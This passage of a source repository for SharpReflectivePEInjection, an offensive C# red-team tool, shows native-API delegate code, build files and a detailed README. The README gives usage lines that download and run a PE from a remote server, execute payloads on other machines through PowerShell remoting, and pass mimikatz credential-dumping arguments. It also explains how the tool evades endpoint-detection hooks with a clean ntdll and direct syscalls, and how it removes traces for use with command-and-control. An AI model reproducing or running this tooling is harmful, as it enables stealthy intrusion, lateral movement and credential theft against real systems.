NtCreateThreadEx(ref hThread, THREAD_ALL_ACCESS, IntPtr.Zero, new IntPtr(-1), threadStart, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
NtWaitForSingleObject(hThread, false, IntPtr.Zero);
CleanOnExitEvent(); // most of the time its not reachable but it is useful when its reachable
// function Delegates definitions
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtAllocateVirtualMemory(
IntPtr processHandle, // pseudo handle to the current process (IntPtr)(-1)
ref IntPtr allocatedAddress, // NtAllocateVirtualMemory will fill up this parameter with the allocated memory
IntPtr zeroBits, // ZERO IntPtr.Zero
ref IntPtr regionSize, // (IntPtr)OptionalHeader.SizeOfImage
uint allocationType,
uint memoryProtection
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr NtClose(IntPtr HANDLE);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtProtectVirtualMemory(
IntPtr processHandle,
ref IntPtr baseAddress,
ref IntPtr regionSize,
uint newProtect,
ref uint oldProtect
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtFreeVirtualMemory(
IntPtr processHandle,
ref IntPtr baseAddress,
ref IntPtr regionSize,
uint freeType
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate uint NtCreateThreadEx(
ref IntPtr threadHandle,
uint desiredAccess,
IntPtr objectAttributes,
IntPtr processHandle,
IntPtr startAddress,
IntPtr parameter,
bool createSuspended,
int stackZeroBits,
int sizeOfStack,
int maximumStackSize,
IntPtr attributeList
);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate IntPtr NtWaitForSingleObject(IntPtr HANDLE, bool BOOL, IntPtr Handle);
// kernelbase.dll
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool SetHandleInformation(IntPtr hObject, int dwMask, int dwFlags);
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate bool SetStdHandle(int nStdHandle, IntPtr hHandle);
================================================
FILE: Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("SharpReflectivePEInjection")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("fa483103-816e-464a-a227-8042d77acbb4")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.3.3.7")]
[assembly: AssemblyFileVersion("1.3.3.7")]
================================================
FILE: README.md
================================================
# SharpReflectivePEInjection #
**Update: fixed x32 loading issue and till now syscalls are not working with x32 applications**
thanks to MexHigh for telling me about this bug way back in november
```
C:\> SharpReflectivePEInjection.exe -h
-url, -u url to the binary to download
-file, -f full path to a binary to execute [useful when executing local PE on a remote machine]
-b64PE pass the entire PE as B64 encoded blob (if you are a mad person)
-Args, -args, -a Arguments to be passed to Exe [Optional]
-patch_exit Patch CorExit and ExitProcess to ExitThread [you know what is it if you need it XD]
-syscalls Instead of Mapping ntdll, will use dynamic syscalls [Hell's Gate Technique]
-ComputerName use powershell remoting to execute the PE on a target machine [Optional] (Retrieves output)
-DisableForceExit Disable the 1.5 Minute Maximum Runtime Enforcement [Ex: if running interactive mimikatz]
-help Display this help screen.
usage: .\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe [Optional: -Args ""]
usage: .\SharpReflectivePEInjection.exe -b64PE [Optional: -Args ""]
usage: .\SharpReflectivePEInjection.exe -url http://10.10.10.10/exe.exe -ComputerName server.ad.local [Optional: -Args ""]
```
## Local Execution ##
- SharpReflectivePEInjection supports multiple ways to load and execute a PE on the local machine
- from a server: `.\SharpReflectivePEInjection.exe -u http://10.10.10.10/exe.exe [Optional: -Args "sekurlsa::ekeys exit"]`
- from a file: `.\SharpReflectivePEInjection.exe -f c:\windows\system32\net.exe [Optional: -Args "user"] [Optional: -patch_exit]`
- from a base64 blob: `.\SharpReflectivePEInjection.exe -b64PE BASE_64_BLOB [Optional: -Args "sekurlsa::ekeys exit"]`
## Remote Execution ##
- SharpReflectivePEInjection supports multiple ways to load and execute a PE on a remote machine (retreives PE output from remote machine)
- from a server: `.\SharpReflectivePEInjection.exe -u http://10.10.10.10/exe.exe [Optional: -Args "sekurlsa::ekeys exit"] -ComputerName server.local`
- from a file: `.\SharpReflectivePEInjection.exe -f c:\windows\system32\net.exe [Optional: -Args "user"] [Optional: -patch_exit] -ComputerName server.local`
- from a base64 blob: `.\SharpReflectivePEInjection.exe -b64PE BASE_64_BLOB [Optional: -Args "sekurlsa::ekeys exit"] -ComputerName server.local`
## passing arguments to PE ##
- SharpReflectivePEInjection passes arguments to PE by patching 4 functions with the arguments provided through the (`-Args`) argument, those functions are:
- `GetCommandLineW` - from kernelbase.dll
- `GetCommandLineA` - from kernelbase.dll
- `_wcmdln` - from msvcrt.dll
- `_acmdln` - from msvcrt.dll
- this way of patching arguments effectively makes it compatible with any argument parsing method wether thats WindowsAPI or a basic `argv[]` method
## supported architectures ##
- SharpReflectivePEInjection supports both x86 and x64 architectures, if you compiled the tool for x86 you will be able to load x86 vice-versa for x64
## Windows API hooking & IAT ##
- SharpReflectivePEInjection heavily depends on DInvoke in importations for a good reason, the way its designed is that it heavily relies on `ntdll.dll` API calls and by default maps a clean version of ntdll in the begining of its execution and uses delegates to map actual function pointers from the clean ntdll to the defined delegates so the delegates can be used as functions, because ntdll is at the last point of user-land this ensures any function call will be unhooked, another perk of this is that the binary does NOT have any IAT table as every importation happens dynamically
### kernel-land calls ###
- SharpReflectivePEInjection supports another way of using delegates and DInvoke to execute code, which is dynamic syscall invokation using the `GetSyscallStub()` function from DInvoke its able to read ntdll from disk extract the kernel syscall stub for the function we need and using Marshal we cast the syscall to a delegate and using this delegate we interface directly with kernel land when calling a function bypassing user-land entirely, this is known as (Hell's Gate Technique), this method is used when passing `-syscalls` argument
## Remote Reflection ##
- the Remote reflection capability utilizes multiple techniques to be able to remotely execute and remotely retrieve output from the PE:
- what happens locally
- uses the current user context to create a remote powershell runspace on the remote machine
- the code has an embedded powershell dotNET loader stored in `powershell_script` variable
- retrieves its own bytes Base64 encodes them and passes them to the dotnet loader
- uses whatever method the user chose to retrieve the PE (url/file/b64) and always passes the PE to the dotNet loader in Base64
- takes the passed arguments, properly filters them and passes them to the dotnet loader
- forks 2 threads each thread opens a NamedPipe client that connects to (`stdout/stderr`) pipes remotely using the machine name passed to `-ComputerName` waiting to read from PE output from them
- invokes the powershell dotnet loader in the remote runspace
- what happens remotely
- once the powershell code invoked in the remote runspace it starts to reflectively load and execute the dotNet bytes retreived first
- after loading itself it starts loading the PE passed to it
- after normally executing and before the PE entry point is called, it creates 2 named pipe servers and redirects its own stdout and stderr to them after this it calls a function named `Suicide` (discussed later)
- once the loaded PE executed its output is passed to the named pipes which the clients from above reads
- PE passing functionality
- as mentioned above the PE which will be reflectively loaded on the remote machine is always passed to the remote machine in Base64, why
- there is 2 good reasons behind this:
- bypassing network based restrictions (ex: target machine can't reach the payload server to download the PE)
- easily passing a local PE to a remote machine using the (-file) argument
- the idea behind the is that we can make the C# code execute itself on another machine and make only certain aspects of the code run under dynamically defined (true/false) conditions
## Suicide (the functions XD) and IOCs ##
- there are 2 functions in the code named (Suicide and LocalSuicide) *sorry for the disturbing name XD*
- Suicide is called in seperate thread directly after stdout/err redirection when the program is running remotely, it waits for 15 seconds before automatically dispose all resources and make the process kills itself, the reason behind this is that if a problem happened during remote execution and the Execution didn't end properly, resources including created NamedPipes and Remote Runspaces are not disposed properly which causes 2 things, leaves IOCs on the remote machine prevents further remote reflections due to confusion in NamedPipe Communications this ensures that everytime a remote execution occurs after 15 seconds of Invoking the PE, it will close itself automatically despite any problems that may cause hanging, so we don't have to worry about cleaning up
- LocalSuicide is pretty much the same thing but for local execution
- the reason behind it is to ensure reliable use with C2 channels if the PE did not exit properly in a cmd session we can press CTRL-C and thats it but with C2 due to beaconing and multithreaded executions its not that simple, this ensures even if the PE errored and did not exit, that after 1.5 Mins it effectively will. the time the function waits before killing the process is 1.5 Mins, way longer than Suicide() to not interfere with actual execution
- unlike Suicide, LocalSuicide can be disabled from the command line by using the `-DisableForceExit` flag
----------------------------------------------------------------------------------------
- I made this project for 2 reasons
- understand more about PEs, windows internals and how to interact with them
- wanted a tool that does this
- these are resources and references i used during building this project:
- https://github.com/nettitude/RunPE
- https://labs.nettitude.com/whitepapers/NETT_RED_TEAM_PROCESS_HIVING_2021.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++#output-screenshots
- https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations
- https://learn.microsoft.com/en-us/windows/win32/debug/pe-format
- https://www.youtube.com/watch?si=_aOPmyksf-eMu5R7&v=oe11Q-3Akuk&feature=youtu.be
- https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/pe-file-header-parser-in-c++#output-screenshots
- https://klezvirus.github.io/RedTeaming/Development/From-PInvoke-To-DInvoke/
- https://github.com/klezVirus/CheeseTools
- https://klezvirus.github.io/RedTeaming/LateralMovement/LateralMovementPSRemoting/
- https://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/av-edr-evasion/dotnet-reflective-assembly
- https://0xrick.github.io/win-internals/pe1/ (part 1 to 7)
================================================
FILE: SharpReflectivePEInjection.csproj
================================================
Debug
AnyCPU
{FA483103-816E-464A-A227-8042D77ACBB4}
Exe
SharpReflectivePEInjection
SharpReflectivePEInjection
v4.8
9
512
true
true
AnyCPU
true
full
false
bin\Debug\
DEBUG;TRACE
prompt
4
x64
pdbonly
true
bin\Release\
prompt
4
true
true
================================================
FILE: SharpReflectivePEInjection.sln
================================================
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.7.34024.191
MinimumVisualStudioVersion = 10.0.40219.1
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpReflectivePEInjection", "SharpReflectivePEInjection.csproj", "{FA483103-816E-464A-A227-8042D77ACBB4}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{FA483103-816E-464A-A227-8042D77ACBB4}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{FA483103-816E-464A-A227-8042D77ACBB4}.Debug|Any CPU.Build.0 = Debug|Any CPU
{FA483103-816E-464A-A227-8042D77ACBB4}.Release|Any CPU.ActiveCfg = Release|Any CPU
{FA483103-816E-464A-A227-8042D77ACBB4}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {83D6D28D-4B5E-4360-B3A1-77C390E7CD01}
EndGlobalSection
EndGlobal